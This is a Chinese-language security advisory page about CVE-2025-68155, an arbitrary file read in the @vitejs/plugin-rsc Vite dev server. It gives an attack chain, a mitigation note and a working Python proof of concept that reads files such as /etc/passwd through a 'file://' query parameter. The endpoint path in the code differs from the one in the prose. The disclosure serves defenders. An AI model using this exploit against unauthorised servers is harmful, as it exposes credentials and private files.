IPBUF安全漏洞报告
English
CVE-2025-68155 CVSS 7.5 高危

@vitejs/plugin-rsc 任意文件读取漏洞 (CVE-2025-68155)

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-68155
漏洞类型
任意文件读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
@vitejs/plugin-rsc

相关标签

任意文件读取路径遍历@vitejs/plugin-rscViteReact Server Components开发环境漏洞CVE-2025-68155

漏洞概述

CVE-2025-68155是@vitejs/plugin-rsc插件中的一个高危安全漏洞,该插件为Vite提供React Server Components (RSC)支持。在0.5.8之前的版本中,开发模式下的`/@vite_rsc_findSourceMapURL`端点存在严重的访问控制缺陷,允许未认证的远程攻击者通过构造特殊的HTTP请求读取Node.js进程可访问的任意文件。此漏洞无需任何用户交互,攻击门槛极低。由于是开发环境中的端点,攻击者可利用其读取敏感配置文件、源代码、凭证信息、环境变量等关键数据,可能导致严重的机密性泄露。CVSS评分7.5,属于高危漏洞。

技术细节

漏洞源于@vitejs/plugin-rsc在处理`/@vite_rsc_findSourceMapURL`端点的请求时,对`filename`查询参数验证不足。攻击者可使用`file://`协议URL指定任意文件路径,绕过安全检查直接读取目标文件。该端点原本用于开发模式下定位sourcemap文件,但由于缺少路径遍历防护和文件访问限制,攻击者可以访问服务器上的任何可读文件。攻击通过发送带有`file://`协议路径的HTTP GET请求实现,无需任何认证凭据即可成功利用。

攻击链分析

STEP 1
步骤1
识别运行@vitejs/plugin-rsc < 0.5.8的Vite开发服务器,通常监听5173端口
STEP 2
步骤2
向端点发送带有file://协议路径的HTTP GET请求,构造filename参数指向目标文件
STEP 3
步骤3
服务器端点未正确验证文件路径,绕过安全检查直接读取指定文件内容
STEP 4
步骤4
攻击者获取文件内容,可能包括敏感配置、源代码、凭证或环境变量

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-68155 PoC - Arbitrary File Read in @vitejs/plugin-rsc # Target: Vite dev server running @vitejs/plugin-rsc < 0.5.8 def exploit_cve_2025_68155(target_url, file_path): """ Exploit arbitrary file read via /__vite_rsc_findSourceMapURL endpoint Args: target_url: Base URL of vulnerable Vite dev server file_path: Absolute path of file to read (e.g., /etc/passwd) """ endpoint = f"{target_url.rstrip('/')}/__vite_rsc_findSourceMapURL" # Construct file:// URL to bypass path validation params = { 'filename': f'file://{file_path}' } print(f"[*] Target: {endpoint}") print(f"[*] Attempting to read: {file_path}") try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File contents:") print(response.text) return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Example usage target = "http://localhost:5173" file_to_read = "/etc/passwd" exploit_cve_2025_68155(target, file_to_read)

影响范围

@vitejs/plugin-rsc < 0.5.8

防御指南

临时缓解措施
在开发环境中,限制对Vite开发服务器的访问,仅允许受信任的开发人员网络访问。同时监控HTTP请求中的file://协议和异常的文件路径访问尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表